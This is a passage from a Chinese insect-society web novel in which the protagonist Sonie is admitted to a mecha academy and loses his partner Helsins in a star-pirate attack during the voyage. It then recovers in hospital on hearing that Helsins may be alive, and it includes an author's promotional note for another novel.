“话说这游戏的衣服也太贵了,还好初始的那个黑斗篷够帅,”索涅对那件斗篷一直很满意,“该省省该花花,我觉得其他衣服还没那件好看。” 赫尔辛斯算是明白了那些虫为什么老盯着索涅看,他失笑道:“那是雄虫专属的装扮,出自联盟最富盛名的设计师之手。” 索涅亚麻呆住,也就是说他穿着雄虫专属的衣服在雌虫堆里招摇过市? 他清晰地看到了雌虫眼尾的笑意。 “赫尔辛斯你笑话我!”他窘迫地控诉。 赫尔辛斯觉得自己自控力不错,可他真的很难忍住这种心腔柔软充盈的感觉,和涌到唇边的笑意。 “你还笑得更大了!”索涅一口吸完果汁,将雌虫扯到身上,压下他的脖颈在锁骨上咬了一口。 他咬完,双唇紧贴着温暖柔软的皮肤,又忍不住亲了亲浅淡的齿痕。 湿漉漉的触感落在脖颈,赫尔辛斯的手撑在沙发上,长发从后背滑落到雄虫肩头。 索涅紧紧地搂着他的腰,将脸埋在他怀里。 “……赫尔辛斯,”他声音发闷,“无论到哪里,别离开我。” 他知道自己有多矫情,甚至说这话的时候脸一下就烫了。他埋得更紧,嗅着雌虫身上熟悉的柔暖香味。 雌虫放弃撑着沙发,他低下头,看着索涅的发顶,缓缓地搂住雄虫有些单薄的脊背。 声音从胸腔嗡鸣在索涅耳边,仿佛透过耳膜直达颅顶,震得他心口发麻。 “雌虫赫尔辛斯,对着神圣的星辰起誓,绝对不会离开您,直至生命的尽头。” 索涅闭上眼睛,沉溺于这一刻的安宁。 跨越茫茫宇宙,抵达另一颗拥有生命的星球,对于前世来说,这是多么不可思议。 游戏与否,世界真实与否,他曾经茫然无措,但现在已有自己的答案。 他不爱这个种族,但他爱赫尔辛斯。 这就是真实的奥义。 而他将为维护这奥义而跋涉光年,奋斗终身。 第23章 出发主星 考完试的第二十天,没有一点…… 考完试的第二十天, 没有一点预兆地,索涅的成绩被发送到他的手环上,附带一张繁复华丽的录取通知书。 他猛地从床上坐起来, 大声地喊着赫尔辛斯, 赤脚从楼上跑到楼下。 “我被录取了!” 赫尔辛斯从厨房出来, 皱着眉捞住激动的雄虫, 抱起来放到沙发上。 “我靠!”索涅吓了一跳, 有点尴尬, 他还没被这样抱过。 索涅不自在地轻咳一声,顾不上尴尬,拿起手环给赫尔辛斯看, 神情激动, “我真的被录取了!机甲战斗!!!” “恭喜您。”赫尔辛斯也不禁露出笑容, 他早就知道索涅一定会被录取。 “赫尔辛斯!”他一下子抱住赫尔辛斯,兴奋地将雌虫扑倒在沙发上。 “太好了!我们可以离开这里了!” “您辛苦了。”赫尔辛斯看着雄虫轻声说。 索涅这几个月的付出, 他之前从未想过会在一只雄虫身上见到。 “听说圣托在F010星有分校,我们可以到那儿去,不会有虫认出你,那里也足够安全……”索涅说着自己的计划,他一开始就是这么打算的。 赫尔辛斯却蹙起眉心, 分校的含金量比本校低的不是一星半点。索涅明明可以去本校。 “您不需要为我付出这些,这样会辜负您的努力。” 索涅不同意,“主星有很多虫想害你,分校对我来说也够用了。” “我没有死的消息早晚会泄露出去, 不过是时间的问题,”赫尔辛斯清楚地知道,“深渊茧房的看守厄林特是个平权主义者, 曾经和现任议会委员长闹掰,他没有把我被领走的消息传出去,但也瞒不了多久,他马上就要调任了。” 随着他的话,索涅眉头无声地蹙起。 逃避解决不了问题。 就在这时,他又收到了一条姗姗来迟的消息。 来自联盟医疗总院,他们对他这样的高级雄虫流落边缘星的谬误十分惭愧,请他跟随圣托号一起返回主星,接受全面细致的检查和疗养。 如果不愿意回主星,他们将派自己的星舰来接索涅。 “……” 索涅头疼地将手环扔在沙发上。 去他妈的。 “没得选了,来逮我了!” 赫尔辛斯已经预料到这种结果,“可能还会有其他星球向您发来这样的信息。” “事已至此,先吃饭吧,你煮的什么这么香?”索涅说着从沙发上爬起来,顺着香味飘进厨房。 “是您之前吃过的蔬荟汤。”赫尔辛斯挡住雄虫蠢蠢欲动的手,自己掀开锅盖。一股浓香的蒸汽瞬间扑在索涅脸上。 “一定很好吃。”多种蔬菜炖在一起,赫尔辛斯还加了肉干,肯定香爆了。 索涅对食物要求不高,但好不好吃还是能尝出来的, 他对赫尔辛斯的手艺佩服得五体投地,碗里最后连一点残渣都没剩下。 雄虫吃完早饭开始研究圣托的入学资料,赫尔辛斯坐在他旁边一起看了一会儿,垂眼拿出手环。 索涅瞟了一眼,然后假装没看到继续翻阅自己的书。 雌虫有小秘密,他早就知道。 赫尔辛斯这家伙,老是在他面前搞这些,万一他真看得懂呢? 赫尔辛斯用余光看着索涅,发现雄虫好像真的对他在做什么没有一点好奇。 这不应该,索涅不会连这都意识不到。 和以前的老下属建立的磁流频道一片寂静,赫尔辛斯的心神不由又回到雄虫身上。 他想关闭手环,无意间却看到主页下方的几个字。 他看了一眼旁边正专心看资料的雄虫,垂下眼帘,点开了那条新闻。 “见证《深决》最强爬榜黑马!蓝色行星狂挑五百万名,疑为圣子狂热追求者,曾偷渡进圣子殿下晋级赛!” 赫尔辛斯:“……” 他缓缓地扶住额头,既想笑,又觉得雄主有点可怜。 “什么东西那么好笑?”索涅凑到他旁边。 “您出名了。”赫尔辛斯话音里带着明显的笑意。 索涅狐疑,心里有种不好的预感。 雌虫一笑,却没有再说什么,而是凑过来亲了他一口。 他这么一打岔,这件事立刻被索涅抛到了九霄云外。 下午的时候圣托的老师来访问,带了一大堆印着学校logo的礼物。 “又见面了,索涅阁下,”里丹走在一众老师前面,温雅地笑着,目光从索涅身后一滑而过,“怎么不见你的雌奴?” “他在休息,你有事找他?”索涅语气平和。 “当然没有,只不过你那只雌奴很值钱,怕你把它卖掉了,如果你想卖,可以联系我,我那儿到底比别的雄虫条件好。”院门打开,里丹率先走进院子里,意味不明地说着。 别的雄虫,当然也包括索涅。 年轻的雄虫黑白分明的眼睛落在他身上,透露出一丝疑惑,“为什么您觉得我要卖?” 里丹笑意微凝。 “索涅阁下,我们今天来主要是向您询问是否需要换专业,”气氛有点僵硬的时候,科洛伊说话了,语气平直毫无起伏,在他示意下,几只雌虫将手中东西放在索涅脚边,“这是一些机甲战斗系相关的资料,您可以先了解一下,如果想转专业,随时联系我们。” 索涅拿起几份看了一下,沉吟:“是有点难。” 里丹心中冷笑。 “不过,”没等他笑完,索涅抬起头,“入学之后还可以转专业吗?我还是想试一下,我很喜欢机甲。” 他的话说得诚恳,况且圣托确实允许入学后换专业。 “当然可以,”科洛伊语气一顿,“您的雌奴看起来是一只军雌,或许会对您有所帮助。” 说起这个,索涅的眼睛顿时微微地弯起来,与有荣焉:“赫尔辛斯学识渊博,之前就是他在辅导我,要不是他,我可能一辈子也考不上。” 他这前后情绪变化太快了,科洛伊目光一闪,“一只有能力的雌虫确实难得。” 他没有再多说什么,跟索涅交代了出发的时间,以及他们会派飞行舰来接索涅,让他提前收拾好东西,便起身走了。 里丹是最先进来的,却是最后走的。他目光一直在一楼的几间房子上不经意地梭巡,但全部被索涅收入眼底。 “您想见赫尔辛斯?”他大大方方地问,“你看上他了?” 他的称呼都变了。 里丹彻底笑不出来了,委婉是交际的第一要素,这该死的乡巴佬不懂吗?!! 索涅当然懂,但他懒得用。 “不,你误会了,我只是看他像故交而已。”里丹咬着牙说。 “原来是这样啊。” 索涅露出一副恍然的样子,但他那双渗人的死鱼眼配上这夸张的语气,有种“我已经知道你在打他的主意我就是陪你演演戏”的既视感。 “……”里丹艰难地扯着嘴角,“不用送,我走了。” 他转过身一副见鬼的样子,飞快地跟上前面的雌虫们,甚至对着一向不顺眼的科洛伊吐槽:“这只雄虫完全就是个蠢货!” 科洛伊连眼神都没给他,嘴上却:“您说的有道理,或许可以给这位阁下减掉一些课程。” 里丹:“……” “不用,”他缓缓地笑了笑,“他刚才已经看过了,既然对课程没有异议,那就按雌虫的培养方案来,或许联盟将迎来一颗璀璨的新星?” 他讽刺地笑了一声,上前几步踩到飞行舰升降台上。 “您说的对。”科洛伊不咸不淡地说,然后一跃而起直接登上飞行舰,留给里丹一个潇洒的背影。 “……” “阁下,您需要帮忙吗?”队伍里唯一的单身军雌礼貌地说。 里丹心头梗着一口气,语气冷淡:“不用!” 军雌也不再问,跟在大部队后面跳上飞行舰。 里丹:“……” 军部的这群榆木疙瘩! 这群虫子走后,索涅走上二楼,打开卧室,他的雌虫弓着腰正在收拾衣服。 他走过去搂住雌虫的腰,趁赫尔辛斯扭头时亲在雌虫唇上,转手拿起一件,“这个就不用带了,尺寸不合适。” 赫尔辛斯眼睁睁看着雄虫把他叠好的一摞衣服拿出去,抿唇,“可是,这是您买的。” “给我买的。”他又说。 他舍不得。 索涅哑然失笑,“以后那么长时间,你要是一件都舍不得扔,咱们家里该没地方下脚了。” 赫尔辛斯当然知道索涅说得有道理,可还是忍不住看向那堆衣服,直到看到雄虫把它们塞进干燥袋里,然后放进衣柜深处。 索涅觉得他好可爱,忍不住弯腰又亲了一口。赫尔辛斯垂下眼眸,仰起头回馈似的亲了亲索涅。 索涅心头一热把虫虫扑倒在床上,不一会儿半小时就过去了,他俩还在你一下我一下地啃嘴巴。 “不行,晚上再说,活儿还没干完。”索涅连忙爬起来。 赫尔辛斯深有同感,时间过得太快了。 他们收拾了一些必需品,后面还收到一张宴会邀请函,圣托大学和ZY003政府合作主办,索涅去转了一圈回来大吐苦水。他还以为是什么很重要的交流会,结果一堆一堆的单身雌虫! “您在边缘星这么多年都没被发现等级问题,星球执政官一定会被问责,他的职位没被撸下去,是因为您没有去告他,”赫尔辛斯说道,“他是在向您示好。” “示好就是把他未成年的虫崽子塞给我?真是变态。”索涅只有这一个评价。 “被录取的好像还有一只雄虫,是在ZY002星,这次宴会他根本没来,实在是太聪明了。” 其实这位执政官拉拢雄虫的手段挺正常,不过赫尔辛斯并没有跟雄虫说起这个,“你想和那位阁下结交的话,可以在星舰上去找他。” 索涅有点这个意思,但他一想还是算了,他懒得交朋友。 收到录取通知后的第五天,也就是圣托大学号到来的第38天,索涅和赫尔辛斯离开了这颗蓝绿色的星球。 他透过窗户看着ZY003发现它和地球有些像,但颜色梦幻得多,没有地球那样深绿与黄棕交杂的大陆。 雄虫向来平静冷漠的眼睛里透着一丝伤感,赫尔辛斯知道他有颗多柔软的心。 他以为雄虫是不舍这颗星球,但其实索涅只是想起了自己真正的母星。 他回过头看着雌虫静谧的侧脸,心里的伤春悲秋又渐渐地缓和。 星舰发出一阵轻微的嗡鸣,索涅只感觉脑袋一阵眩晕,仿佛被挤压似的难受,精神丝张牙舞爪地窜出来漂浮在空中。 赫尔辛斯握住了他的手,精神丝与索涅交握在一起,安抚着它们。 片刻后,星舰内部恢复正常,虫子们聊天活动的声音再次传来。 “已经进入虫洞了。”赫尔辛斯吻了一下雄虫有些苍白的唇。 索涅脸一红,大庭广众的,雌虫也太奔放了。 虫洞的外景是不开放的,见没什么景色可以看,他索性拉着虫虫回房“玩游戏去了”。 一众虫子亲眼目睹刚才的所有事,不由为赫尔辛斯默哀,觉得他肯定没好果子吃—— 作者有话说:赫尔辛斯:吃了,很好吃,吃的很饱 第24章 三叉戟 星舰在航行四天…… 星舰在航行四天后又经历了一次空间跳跃, 这次索涅控制住了自己的精神丝,没有发生上次那种炸成狮子头一样的惨剧。 他对星舰有所好奇,但转了几天后也开始想念陆地。关键是他每次出去, 那些虫子都跟看动物园的猩猩一样看着他, 就算他不出去, 也有虫子很冒昧地来敲门, 说一些无关紧要的话。 次数多了, 索涅开始不耐烦。 他必须得和赫尔辛斯一起出去吃饭, 索性摆出冷脸,牵着雌虫目不斜视。 星舰一路悬停几个星球,又来了很多其他星球的虫子, 索涅也见到了一两只雄虫, 他没什么兴趣和他们打交道。 “这个不好吃, ”他悄悄地和雌虫咬耳朵,“好想吃你煮的汤。” 赫尔辛斯唇角弯起, 声音柔和,“等到了主星,恐怕您要吃腻了。” “怎么可能,我的性格很没意思,我才应该怕你腻我。”索涅说的是真话。 他从小到大收到的评价都是无趣。 他们挑了一个角落坐下, 一边聊天一边吃饭,周围也有几只虫子。 索涅正切着盘子里的烤肉,后面卡座的交谈声传入他耳中。 “您好,请问您对面可以坐吗?”虫子A说。 “不可以。”虫子B冷漠道。 虫子A犹豫了一下, “您对面是空着的……” “这么大的餐厅又不缺空位,你非要坐我对面是几个意思?”虫子B说话的语气很冲,“行啊, 你坐,我吃完了,再也不见。” 虫子B说完就走了,传来椅子拖动的声音。 索涅对他产生由衷的敬佩。 “赫尔辛斯,我该向他学习。”他严肃地说。 “您不必顾及那些雌虫,不然他们会觉得您对他们有意思,反而得寸进尺。”赫尔辛斯见多了这样的雌虫。 索涅这个死宅之前很少出门,他最近几天才算是见识到了。 其实按照星舰上雌虫的数量来说,选择搭讪为数不多几个雄虫的雌虫占比并不多。星舰上的雄虫看起来等级都不高,大家都奔着去发达星球,找更好的雄虫。 赫尔辛斯心知肚明,索涅的等级并没有被散播出去,不然雄虫肯定已经被烦得连门都不想出。 大多数雄虫都乐在其中,但索涅显然不是,他是真的很宅,不想交流,厌烦被男人搭讪。 赫尔辛斯当然是不同的,赫尔辛斯那么可爱。 吃完饭,索涅悠哉悠哉地带着雌虫走在走廊里,准备回去睡个小小的午觉。赫尔辛斯被他扯着袖子,紧紧地跟在索涅后面。 他们两个几乎已经成这座星舰的一道风景线了,所有虫都知道星舰上最帅的雄虫是个粘豆包,不过他们对赫尔辛斯既不屑又羡慕。 索涅看起来等级不高,虽然有传言说他的精神丝磁场极其强大,但谁也说不准,从边缘星来的高级雄虫?怎么可能?他们更愿意相信索涅是只徒有其表的实验室劣等雄虫。 知情的几只虫子谁也没有把这事说出去,于是索涅看过了一段还算安稳的日子。 他走着走着,迎面过来一只颠颠走路的小机械兽,无机质的漂亮眼睛落在索涅身上。它停下来亲昵地蹭了蹭索涅的裤腿。 它认识索涅,这只雄虫很喜欢它。 索涅露出笑意,刚准备弯腰把小家伙抱起来,赫尔辛斯唇角那抹温柔的笑意骤然僵住。索涅甚至没看清他是如何动作的,只觉一道阴影压下,后脑被一只手死死护住,天旋地转间,整个世界被赫尔辛斯的身体完全笼罩。 一道击穿耳膜的无形声波—— 侧面的墙壁突然向内一凹,随即像一张被撕碎的纸般轰然炸裂!不是声音,首先袭来的是一股灼热的气浪,裹挟着金属碎屑的腥气,狠狠拍在脸上。紧接着,震耳欲聋的巨响才猛地灌入耳膜,仿佛整个宇宙都在耳边尖叫。 世界陷入一片混沌的嗡鸣。索涅的后背紧贴着冰冷的地板,震动从地面传来,磕得他牙齿发酸。 虫子的尖叫声像是从很远的水下传来,模糊不清。 赫尔辛斯沉重的呼吸喷在他的颈侧,是这片混乱中唯一真实的热源。星舰紧急警报的刺耳声骤然炸响,让他心脏狂跳。 “一级警报!一级警报!一号廊损毁!一号廊损毁!损毁检测中……中止检测……检测已中止!” 赫尔辛斯反应极快,几乎在攻击到来之前就按倒了索涅。他护着雄虫的头,一手垫在雄虫后背,整个身体笼罩在索涅身上,沉重的喘息声中,他迅速捞起雄虫翻身躲进餐厅。 在他们躲进去的一瞬间,一道更加猛烈的炮火落在走廊远处。席卷而来的热浪和火焰瞬间吞噬了几只慌乱逃窜的虫子,见尖叫也没来得及。 索涅睁开眼睛,恰好看到这一幕,他瞳孔骤缩,下意识去摸赫尔辛斯,挣脱雌虫的钳制,把赫尔辛斯推进餐厅深处。 后背剧痛无比,他无暇顾及,将一只手拽着的小机械兽塞进怀里,一手搂在雌虫后颈,将他转过来上上下下看了一遍。 雌虫后背的衣服破破烂烂,有几道浅浅的血痕。 索涅意识到赫尔辛斯没有受重伤,才狠狠地松了一口气。 赫尔辛斯让雄虫放心,自己没那么脆弱,被索涅剜了一眼。 “可能是星盗!廊边现在不安全,能够悄无声息攻击圣托号,应该是大型星盗团。”赫尔辛斯眉头皱起,静静地听着外面的刺耳的警报。 圣托号的反应不对…… “我们怎么办。”索涅紧紧地握着他的手,他没经历过这些。 但他并不慌张。 从被赫尔辛斯扑倒开始,他没有一丝反抗,甚至亲眼见证残酷的炮火,他也不太害怕。 巨大的危机面前,雄虫反而冷静地过分了。 赫尔辛斯的发丝凌乱,索涅余光一瞥,看到餐厅里其他的虫正在向他们靠拢。 他目光一闪,将雌虫揽到了身后。 赫尔辛斯注意着外部情况,没看到那些虫子虎视眈眈的眼睛。 “我们这些虫里,只有你有雌奴,你的雌奴是我们中最强大的,让他去外面给我们叫救援。”一只害怕到眼珠布满红血丝的雄虫堵住了他们。 索涅居高临下地看着他:“滚。” 雄虫怒上心头:“你别不识好歹!我们这么多虫能够活着,死他一个怎么了——” “滚!” 一脚踹在雄虫胸口,“嘭”的一声巨响,在虫子们惊恐的视线里,那只雄虫硬生生飞出去七八米,重重地砸在桌子上,倒在地上口吐血沫生死不明。 赫尔辛斯抽出外渗的精神丝落在身旁,才发现他的雄虫气哼哼地挡在他身前,对面一只雄虫状况惨烈。 他皱起眉,想把索涅拉到他身后,但雄虫反手抓住他来到柱子后面。 “外面怎么样了?” “是星盗,有十座小型星舰,三座中型星舰,包围了圣托号,”赫尔辛斯发觉了雄虫的情绪,有些担忧地看着他,“您还好吗?” “没事,后背擦破点皮儿。”索涅一副无所谓的口吻。 赫尔辛斯的目光让他心头一软。 “好了,这点小伤不算什么。”他安抚地双手捧住雌虫的脸,笑意吟吟地吻了吻雌虫的唇。 雄虫平静得有点吓虫了,竟然还有空安慰一只身经百战的军雌。 赫尔辛斯深深地意识到,他对索涅还是不够了解。 “您很适合机甲战斗系。”他回吻了雄虫,发现雄虫连呼吸都没乱,“或许您会是第一只雄虫上将,到时我就彻底配不上您了。” 他的学识雄虫终将不再需要。 “说什么傻话,我可没有那么大的志向,”索涅是一条咸鱼,“我只希望和你过平静的生活就好,如果能有一只猫就更好了。” 他拨开一截衣服,露出怀里圆溜溜的机械猫猫头。 正当赫尔辛斯会心一笑,要和雄虫说一些他的猜测时,精神丝感应到危机而剧烈地颤抖,几乎震得赫尔辛斯眼睛发麻。 他面色一变,瞳孔几乎霎时缩成针尖。 来不及了,该死!! 索涅只看到他眼睛里,一闪而过的决绝,紧接着腰间传来一股大力,他被雌虫整个抡起扔到半空中,他心尖一紧想去抓雌虫的手,但只能徒劳地抓住一片空气。 在他离地的刹那,脚下的地板无声地融化、塌陷,钴蓝色的火焰如死神衣袍般蔓延,瞬间吞没了那个决然的身影。火焰的中心,出现一颗刺眼到无法直视的焱核。 事情发生得太快。 又仿佛过得好慢。 索涅徒劳地睁大眼睛,目眦欲裂。 “赫尔辛斯!!!——” “砰——!” 索涅重重地摔在地上,吞噬了血肉的焱核穿过七米高的餐厅,接连熔穿三层合金地板,消失在星舰深处。 索涅心里什么也没想。 他浑身的骨头几乎断成两截,却迅速地爬起来,跌跌撞撞地跑到熔炼成铁水的坑洞边缘。 滚烫的铁水在他脚下瞬间凝固,他却浑然不觉。 他站在坑洞边缘浑浑噩噩地往下看。 只有漆黑冷寂的宇宙,炮火没能在它身上留下一点痕迹。 赫尔辛斯,不见了。 就这么不见了? 刚才还……那么温柔地跟他说话,眼睛比外面的星辰还要璀璨。 一股腥甜涌上喉咙。他想喊,却发不出任何声音,只有气流在撕裂的声带间穿梭。 他这时才感到一种灭顶的虚空,不是从心里,而是从胃里弥漫倒四肢百骸,抽干他所有力气。 他才发现,他是一颗石头心。 那颗石头心没痛,但它绝望的碎片,正随着每一次呼吸,割裂着他的五脏六腑。 他仰起头,看着头顶深不见底的熔洞。 上方虫子熙熙攘攘,机器人忙碌地修补着破洞,穿着制服的军雌正在大声地说着什么,脸上是惊喜的神情。 “星盗走了!星盗走了!!!该死的三叉戟!这群虫屎!……” 他竟然想笑,但是嘴角似乎被缝在一起。 他低头,眼前一片黑影轰然压顶。 身体犹如断线的风筝般怆然跌落,跟随赫尔辛斯掉进深不见底的宇宙之中……—— 作者有话说:下一篇文文[垂耳兔头]《男主的眼神不对》校园文,感兴趣的宝宝可以收藏待开 简介: 传言海中有两个王不见王,见面即互掐的问题学生。一个每天翻墙进学校拿主任的假发当扫把,一个在告示栏贴征婚启事被教导主任狂追八百米。 但某天罗彧转进来后,事情变得诡异起来。同桌乔醺经常突发性帕金森,每天面色诡异仿佛精神失常,还偷摸查基佬掰直的中药配方。 罗彧由此发现这俩校霸,一个是女的,一个是弯的。没错,弯的是被女的掰弯的。 乔醺这个男女都分不清的傻x,还扭扭捏捏地问:“罗彧,我好像喜欢上你哥了,怎么办?” 罗彧鄙视:睁大你的牛眼看清楚了,那是我姐。 乔醺不可思议不可置信恍如雷劈。 “我都弯了,那我怎么办?” “好儿子以后一定不能抛弃爸爸我,我老了就靠你养我!” 几个月后。 罗彧:叫一声爸爸就轻点。 乔醺:我不叫,你重点。 罗彧:…… 他骚不过乔醺,算了。 这是一个男主和男配成为同桌后,在各种啼笑皆非下越走越偏,最终和男配喜闻乐见了的故事。 第25章 谁活着? 这是一片火灾之后荒芜的…… 这是一片火灾之后荒芜的寂土。 草叶干枯地蜷曲着, 倒下的巨树只剩焦黑残破的树干,虚幻的脚踩在旁边,轻微到几乎没有震动, 但断壁残垣随着他的走过而化为齑粉。狂风大作, 粉尘被吹散到空中无力地飘飞, 变化为点点星光消失于须弥。 广袤无垠的荒原, 残存的痕迹彰显着这里曾经多么繁荣美丽。 远处的人影摇摇晃晃, 衣袖末端还有钴蓝的火焰在燃烧。他低着头, 一步步缓慢地走着,漫无目的。 荒原中央,迷宫早已倒塌, 华丽的八角亭也摇摇欲坠, 朱红色粗柱早已暗淡无光, 上面布满坑坑洼洼的伤痕,断裂的边缘处, 星光无力地闪烁几下,停息归于寂静。 人影停了下来,他抬起头,静静地看着这个地方。 “这是什么?”遥远的记忆闪现,对方曾好奇地问过。 他囫囵了过去, 心里却为勾勒出这样熟悉的图景而喜悦。 如今,烟消云散,尘归尘土归土。 他慢慢地走上台阶,靠着柱子缓缓坐下, 仰头看着深邃寂静的天空。 黑色的。 无边无际,阴冷无情的黑色。 他恨黑色。 他恨火焰。 他更恨自己。 剧烈情绪波动下,天空电闪雷鸣, 一道粗壮的闪电狠狠地劈在八角亭顶,摇摇欲坠的亭子顿时四分五裂,倒塌的碎片劈头盖脸地向他砸来。 他闭上眼睛,任由废墟将他淹没…… “滴——滴——” 宽敞的病房里,一张病床被医疗仪器包围在中央,十几只胸前挂着专家执照的医雌忙忙碌碌,皱着眉紧盯着仪器上的数据。 “情况更糟糕了……”一只医雌语气无力。 “阁下的求生意志很弱,到底是为什么?被吓到了?”医雌无法理解,他第一次遇到求生意识不强的雄虫。 “都怪那群该死的家伙!A级雄虫在星舰上竟然丝毫不重视!要是他们把阁下保护好,根本不会出这样的事!联盟为数不多的巨额财富被他们毁了!”一只医雌从外面走进来,戴上口罩和手套。 他走到仪器前挨个看了一眼,“怎么样?” “不容乐观,他的精神丝在迅速自我销毁,”被问的医雌叹了口气,“他不想活了。” “安德拉,你刚才那是什么意思?” 安德拉,也就是刚才走进来的雌虫,立刻露出一副厌恶的神情,“圣托号这次的护卫队是第三军白蔷薇,一群饭桶!碰到三叉戟就慌了神,还有那个……” 他顿了一下,“总之,多亏这位阁下的雌奴救了他,不然雄虫又没有骨翼,现在肯定被轰得渣都没了。” 旁边医雌叹了口气,知道有些话不该说,但这次受伤的这位毕竟是A级雄虫,损失实在是太大。 他们都看过当时的监控,叹了口气,“有骨翼又怎样?那么危急的时刻,谁能在救了雄虫后还有时间伸展骨翼?那大概率也就是只A级雌虫,G808激光炮的威力,不是骨翼可以抵挡的。” “听说那只雌虫还叫赫尔辛斯。”安德拉走到另一个仪器前,“不过就连维修机械兽也没捕捉到他,大概是真的被烧得灰都不剩……” 他的话陡然停住,紧紧地盯着仪器上轻微跳动的数据,不可置信地快步走到其他仪器前。 他失望地发现,波动又消失了。 难道是错觉? 看着雄虫苍白的脸色,安德拉脑海中灵光一闪,回头急声对医雌说:“快!去找圣托号的科洛伊少将过来!让他带着分析资料!” 医雌不明白,但出于对老师的尊重,点点头迅速离开。 安德拉回身,看着越来越微弱的信号,只能寄希望自己的猜测没有错…… 黑暗的宇宙里,索涅毫无目的地漂浮着。 他无法在真空中呼吸,但他也知道这不是真的宇宙。他在缓缓地下坠,但并不感觉可怕,因为后背承托他的力道很温柔。 他好像睡在云上。 他觉得,一定是赫尔辛斯来接他了,赫尔辛斯就是这么温柔。 “……他……不可能……”断断续续的声音忽然传来。 “劫错了……那只雌虫” 谁?劫错谁? “他还活着……星盗团也需要……” 索涅心头一震,活着?谁活着…… 交谈的声音渐渐清晰。 “那只叫赫尔辛斯的雌虫肯定还活着,不然星盗团不可能突然撤离,他们一定以为劫到了雄虫……” “雄虫?!你是说……”插进一个激动的声音。 “……不过那只雌虫实力强大,星盗团也不可能放过一只送到口中的强大罪雌,他们最喜欢吸纳罪雌成员……”科洛伊说着自己的猜测,不大明白安德拉怎么会突然对这个感兴趣。 “滴——!滴——!滴——!”医疗仪器突然发出刺耳的警报声,众多医雌瞬间浑身一颤。 安德拉一直关注着,几乎瞬间就看到了仪表上飙升的数值,以一个令他咋舌的速度迅速回升。 他看到,雄虫握着拳头,手指用力到骨节发青,手心里的电磁贴片被捏得发出“嘎吱”的响声。导流液包短短几秒就不堪重负,“砰”的一声爆裂,血红液体飞溅到雄虫苍白的下颚,场面诡艳至极。 活着…… 这个念头像一根烧红的针,刺破了他麻木的精神。 先是细微的刺痛,随即是席卷而来的、几乎将他再次撕裂的狂喜和恐惧。希望充斥他的所有心神,恐惧却暗暗地潜伏涌动。 如果这希望是假的……不,必须是真的。 一定是真的…… 医雌们连忙更换新液包,围绕在仪器旁调整治疗方案,一切忙中有序。 安德拉松了口气,对着科洛伊眨了眨眼,“谢谢,你可帮了大忙了。” 科洛伊似乎明白了什么,微微一笑,“不用客气。” 里面忙碌起来,他最后看了一眼那只还在昏迷的雄虫,转身离开了病房。 眼里思绪一闪而过,谁也没有看到…… —— 索涅在范斯医院待了二十个星期,浑身三十多处骨折全部痊愈,期间进行了他第一次全面且系统的等级测试,测试结果递到系统的第二天,雄保会和圣山各派了五名虫子前来慰问,旁敲侧击地问他有没有找他们事的想法。 让一只各方面数据完美得可怕的雄虫流落边缘星这么多年,而且还让雄虫欠下了雄保会三千万巨额债务!甚至雄虫自己考上了圣托大学,却在入学途中被星盗袭击差点身死! 根据科洛伊的说法,星盗都比他们先知道这只高级雄虫的存在!简直丢整个联盟的脸! “索涅阁下,我们特地为你在中心地段准备了一座规格最高的庄园,如果你不喜欢或者中意其他地段,也尽管和我们提。”雄保会的虫子提格坐在索涅对面,脸上笑意有些僵硬。 “很抱歉因为我们的疏忽,给您造成伤害,圣山周围的别墅您可以任意挑选。”圣山的雌虫说道。 索涅穿着白色病号服,窗外刺眼的日光洒进他眼睛里,黑色的眼珠边缘渗出浓蓝。 他目光垂下,在这几只虫子身上轻轻扫过。 “阁下,既然您已经没有雌虫,为了您的安危,圣山特地准备了几位高级雌虫守卫,您可以看看他们的信息。” 见他不说话,圣山的雌虫们对视一眼,拿出了他们的第二个筹码。 雄保会的雄虫闻言一愣。 圣山培养出来的雌虫,还不止一个? 圣山这也太大方了吧?目前最小的圣子艾浮殿下都才娶了一位圣山出身的雌侍! 虽然说怕这只雄虫影响他们的公信力,但出这么大的血倒也不值。 不过这就是明晃晃的拉拢了,就看这只雄虫最后入股哪位圣子。 雄保会雄虫眼睛一眯,所有虫的视线顿时都落在索涅身上。 只有他们在你一言我一语地说话,这只雄虫面无表情,从头到尾一言不发。 “阁下您看?”圣山的雌虫面色依旧柔和,语带询问地看着索涅。 索涅认真地从头到尾看了一遍他们的“诚意”,连眉头都没动一下。他抬眼,“谢谢诸位好意,偶尔发生一点意外也是无可厚非。” “我们绝对会严格彻查这件事,给您一个交代。”圣山雌虫严肃得给出承诺。 “雄保会一直关心每一只雄虫的福祉,如果以后你有需求可以随时联系我们。”雄保会的雄虫也松了一口气,知道这只雄虫接受了他们的赔偿。 雄保会毕竟不是权力机关,这事万一捅出去,他们的公信力会悬崖式下跌,雄虫的拥戴来得快去得也快。 同时他心里有些不屑,圣山的这群家伙说起瞎话不眨眼,要是真会彻查,那就等于把自己放的屁吸了回去。 “不过,”索涅缓缓地说,对面虫子的表情瞬间一滞,“雌虫就不必了,我不需要。” 雄保会雄虫面上平静,心里嗤笑,果然是乡巴佬,只要钱不要权,没眼光的玩意儿。 圣山的雌虫顿了一下,面色不变,还是劝道:“守卫们可以保护您,他们其他方面也很不错,完全可以作为您的雌君或者雌侍——” “不用了。”索涅打断他。 黑沉沉的眼珠对着他,仿佛死寂又危险的黑洞,圣山雌虫浑身一凉,下意识避开了索涅的视线,手指瞬间握拳。 “……好的,如果您后续需要,可以联系我们。”他体 面地笑着,无声无息得放松拳头。 “几位阁下,”安德拉推门进来,脸上戴着口罩,“索涅阁下今天的检查马上开始了。” 索涅虽然态度还算可以,但虫子们默契地迅速起身告别,离开病房后感觉周身温度都变暖了。 这只雄虫像个没有灵魂的空壳一样,黑沉沉的眼睛毫无情绪,估计也是个心狠手辣的主儿。 看着圣山的五只外貌耀眼的雌虫离开,雄保会的雄虫心里暗自可惜。边缘星来的雄虫就是没见识,不会掩饰,好歹弄出个温和地皮子,才能吸引更多雌虫啊。 “走吧。” 他回头看了一眼,正好看到安德拉从病房出来,前面走着索涅。 他表情一滞。 他怎么忘了,乡巴佬A级也是A级,这身高都赶上S级军雌了。 就是听说要去读圣托的机甲战斗,真是脑子有泡。 他摇摇头,领着身后的雌虫离开了。 医院内,索涅坐在医疗椅上,闭上眼睛。 仪器贴近他的额头,他伸出两根精神丝,随意地抖动几下,扎成一个星星形状又解开。 “滴”的一声,安德拉移开仪器。 “恭喜您,精神力已趋于稳定,您恢复得很快。”安德拉说。 索涅面色平静:“什么时候能出院?” “您放心,肯定赶得上圣托入学。”安德拉语气里带着笑意。 “什么时候能出院?”索涅需要的是确切的时间,不是没有营养的安慰。 